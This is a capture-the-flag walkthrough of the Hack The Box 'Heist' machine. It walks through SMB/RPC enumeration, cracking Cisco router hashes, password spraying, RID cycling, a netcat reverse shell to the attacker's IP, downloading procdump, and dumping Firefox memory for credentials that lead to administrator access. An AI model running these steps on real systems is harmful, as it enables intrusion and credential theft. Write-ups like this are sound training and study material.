> For the complete documentation index, see [llms.txt](https://blind0bandit.gitbook.io/blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blind0bandit.gitbook.io/blog/windows-machines/easy/htb-heist.md).
# HTB - Heist
## Enumeration
***
**Scope**
> IP Address: 10.10.10.149
**Nmap Scan**
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ nmap -p1-10000 $ip -Pn -n --disable-arp-ping -vv --min-rate 10000
PORT STATE SERVICE REASON
80/tcp open http syn-ack
135/tcp open msrpc syn-ack
445/tcp open microsoft-ds syn-ack
5985/tcp open wsman syn-ack
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ nmap -p80,135,445,5985 $ip -sCV -oN Nmap/script-scan
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-title: Support Login Page
|_Requested resource was login.php
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 3s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-07-06T23:55:49
|_ start_date: N/A
```
```
* Open ports: 80 - 135 - 445 - 5985
* UDP Open ports: None
* Services: HTTP - RPC - SMB - winRM
* Versions:IIS httpd 10.0
```
**SMB**
```BASH
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ smbclient -N -L //$ip
session setup failed: NT_STATUS_ACCESS_DENIED
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ crackmapexec smb $ip -u '' -p '' --shares
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\: STATUS_ACCESS_DENIED
```
We can see that SMB enumeration failed, switching to RPC, but also failed
**RPC**
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ rpcclient -U "%" $ip
Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED
```
**HTTP**
web page at `http://10.10.10.149/login.php`
I tried to supply default credentials, but the `login` button didn't send any request to the backend server, However `Login as guest` took my attention and click it
It took me to `http://10.10.10.149/issues.php` as shown above.
From this page I could extract some useful information:
```
usernames: Hazard, Support Admin
Attachment: http://10.10.10.149/attachments/config.txt
```
`http://10.10.10.149/attachments/config.txt`
If you configured Cisco router before, you would be familiar with this syntax and commands. We can extract additional information:
```
username: rout3r, admin
password hashes:
0242114B0E143F015F5D1E161713
02375012182C1A1D751618034F36415408
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
```
My plan was to create a list of usernames and passwords after cracking it and brute forcing SMB protocol.
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ cat users.list
Hazard
"support Admin"
rout3r
admin
```
I had to know the hash type to be able to crack it
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ hashid -m '$1$pdQG$o8nrSzsGXeaduXrjlvKc91'
[+] MD5 Crypt [Hashcat Mode: 500]
[+] Cisco-IOS(MD5) [Hashcat Mode: 500]
[+] FreeBSD MD5 [Hashcat Mode: 500]
```
Sense this hash is obtained from router configuration, the hash type should be `Cisco-IOS(MD5)`
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ hashcat -m 500 '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' /usr/share/wordlists/rockyou.txt
$1$pdQG$o8nrSzsGXeaduXrjlvKc91:stealth1agent
Session..........: hashcat
Status...........: Cracked
```
The command `username password 7 ` reveals that the encryption type is `7` which I can search about
I got a tool that can decrypt type-7 hash:
{% embed url="" %}
Now, I'm going to create a passwords list and then brute force SMB
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ cat passwords.list
stealth1agent
Q4)sJu\Y8qz*A3?d
$uperP@ssword
```
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ crackmapexec smb $ip -u users.list -p passwords.list --continue-on-success
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\Hazard:stealth1agent
```
I tried to enumerate SMB with the credentials I've found but nothing interesting found
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ crackmapexec smb $ip -u Hazard -p 'stealth1agent' --shares
SMB 10.10.10.149 445 SUPPORTDESK ADMIN$ Remote Admin
SMB 10.10.10.149 445 SUPPORTDESK C$ Default share
SMB 10.10.10.149 445 SUPPORTDESK IPC$ READ Remote IPC
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ smbclient -U Hazard \\\\$ip\\IPC$
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit
```
No options available now for me except enumerating RPC with hazard credentials. I tried several commands to enumerate the machine but these only two worked
```bash
rpcclient $> lookupnames hazard
hazard S-1-5-21-4254423774-1266059056-3197185112-1008 (User: 1)
rpcclient $> lookupsids S-1-5-21-4254423774-1266059056-3197185112-1008
S-1-5-21-4254423774-1266059056-3197185112-1008 SUPPORTDESK\Hazard (1)
```
So, the domain SID is `S-1-5-21-4254423774-1266059056-3197185112` and RID is added to the end I wanted to enumerate users on the machine but `enumdomuers` failed, however `lookupnames` & `lookupsids` can be used for that purpose.
* The user SID contain two parts:
* SID of the domain
* RID of the user
I knew from previous experience that RID count starts with `500` which is the administrator RID and regular users start for `1000,` So I will generate a wordlist `{500:510}` for admins accounts & `{1000:1100}` for regular users.
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ for rid in {500..510};do echo "S-1-5-21-4254423774-1266059056-3197185112-$rid" >> sids.txt;done
for rid in {1000..1100};do echo "S-1-5-21-4254423774-1266059056-3197185112-$rid" >> sids1.txt;done
```
Loop with the two wordlists and redirect the output to `results.txt` and then read the files
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ for sid in $(cat sids.txt);do rpcclient -U "Hazard%stealth1agent" $ip -c "lookupsids $sid" >> results.txt;done
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ for sid in $(cat sids1.txt);do rpcclient -U "Hazard%stealth1agent" $ip -c "lookupsids $sid" >> results.txt;done
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ cat results.txt | grep -v unknown
S-1-5-21-4254423774-1266059056-3197185112-500 SUPPORTDESK\Administrator (1)
S-1-5-21-4254423774-1266059056-3197185112-501 SUPPORTDESK\Guest (1)
S-1-5-21-4254423774-1266059056-3197185112-503 SUPPORTDESK\DefaultAccount (1)
S-1-5-21-4254423774-1266059056-3197185112-504 SUPPORTDESK\WDAGUtilityAccount (1)
S-1-5-21-4254423774-1266059056-3197185112-513 SUPPORTDESK\None (2)
S-1-5-21-4254423774-1266059056-3197185112-1008 SUPPORTDESK\Hazard (1)
S-1-5-21-4254423774-1266059056-3197185112-1009 SUPPORTDESK\support (1)
S-1-5-21-4254423774-1266059056-3197185112-1012 SUPPORTDESK\Chase (1)
S-1-5-21-4254423774-1266059056-3197185112-1013 SUPPORTDESK\Jason (1)
```
## Initial Access
***
I created a wordlist for newly-discovered users and then bruted force the SMB again
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ cat users.lst
Hazard
support
Chase
Jason
```
We got a hit :)
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ crackmapexec smb $ip -u users.lst -p passwords.list
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\Chase:Q4)sJu\Y8qxxxxxx
```
I will try now to test winrm connection with `crackmapexec` to see if we can login with user `Chase`
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ crackmapexec winrm $ip -u Chase -p 'Q4)sJu\Y8qxxxxxxx'
WINRM 10.10.10.149 5985 SUPPORTDESK [+] SupportDesk\Chase:Q4)sJu\Y8qxxxxxxx (Pwn3d!)
```
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ evil-winrm -i $ip -u Chase -p 'Q4)sJu\Y8qxxxxxxx'
*Evil-WinRM* PS C:\Users\Chase\Documents>
*Evil-WinRM* PS C:\Users\Chase> type Desktop\user.txt
7ec14ed02a46043fc7c55xxxxxxxxxxxxxxxx
```
> User Flag: 7ec14ed02a46043fc7cxxxxxxxxxxxxx
***
## Privilege Escalation
`evil-winrm` is too slow, So I will upload `nc` and get a shell instead of it
```bash
*Evil-WinRM* PS C:\Tools> upload nc.exe
*Evil-WinRM* PS C:\Tools> .\nc.exe 10.10.16.25 443 -e PowerShell
```
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.25] from (UNKNOWN) [10.10.10.149] 49716
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Tools>
```
I didn't find many interesting things since I landed as `Chase`, So I run `Winpeas.exe` and it highlighted these files as read:
```hash
C:\Users\Chase\AppData\Roaming\Mozilla\Firefox\Profiles\77nc64t5.default\key4.db
C:\Users\Chase\AppData\Roaming\Mozilla\Firefox\Profiles\77nc64t5.default\cert9.db
```
Unfortunately, after I extracted the secrets from these files, it didn't reveal anything useful.
Next, I got a hint from community to change my mind and dump Firefox process from memory, Let's see how I did it.
I uploaded `procdump.exe` from `Sysinternals suite`, got the process-ID of `Firefox` and began to dump it
```bash
PS C:\Tools> curl 10.10.16.25/procdump.exe -o .\p.exe
PS C:\Tools> Get-Process -name firefox
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
347 19 10236 35660 0.11 4136 1 firefox
1089 72 151396 228756 4.92 6036 1 firefox
401 33 32148 90740 0.59 6280 1 firefox
378 28 22600 59420 0.38 6484 1 firefox
355 25 16464 38936 0.13 6764 1 firefox
```
```bash
PS C:\Tools> .\p.exe -accepteula -ma 6764
[08:04:29] Dump 1 initiated: C:\Tools\firefox.exe_240707_080429.dmp
[08:04:29] Dump 1 writing: Estimated dump file size is 298 MB.
```
Start `smbserver` and copy the dump to my attack host
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ impacket-smbserver -smb2support share .
PS C:\Tools> copy firefox.exe_240707_080429.dmp \\10.10.16.25\share
```
The `dmp` file is a binary file, So using `grep` will work only with `strings` command
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ strings firefox.exe_240707_080429.dmp | grep "administrator\|password"
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8xxxxx&login=
RG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]xxxxx&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8xxxxx&login=
```
The Credentials found:
```
admin@support.htb:4dD!5}x/re8]xxxxxx
```
I will try to test these creds with `crackmapexec`
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ crackmapexec smb $ip -u administrator -p '4dD!5}x/re8]xxxxxx'
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\administrator:4dD!5}x/re8]FBuZ (Pwn3d!)
```
And we gained administrator account :)
```bash
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Heist]
└─$ impacket-psexec supportdesk/administrator@$ip
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
Password:
C:\Windows\system32> cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop> type root.txt
906f0e1ac412590d0bdc50xxxxxxxxxx
```
> Root Flag: 906f0e1ac412590d0xxxxxxxxxxx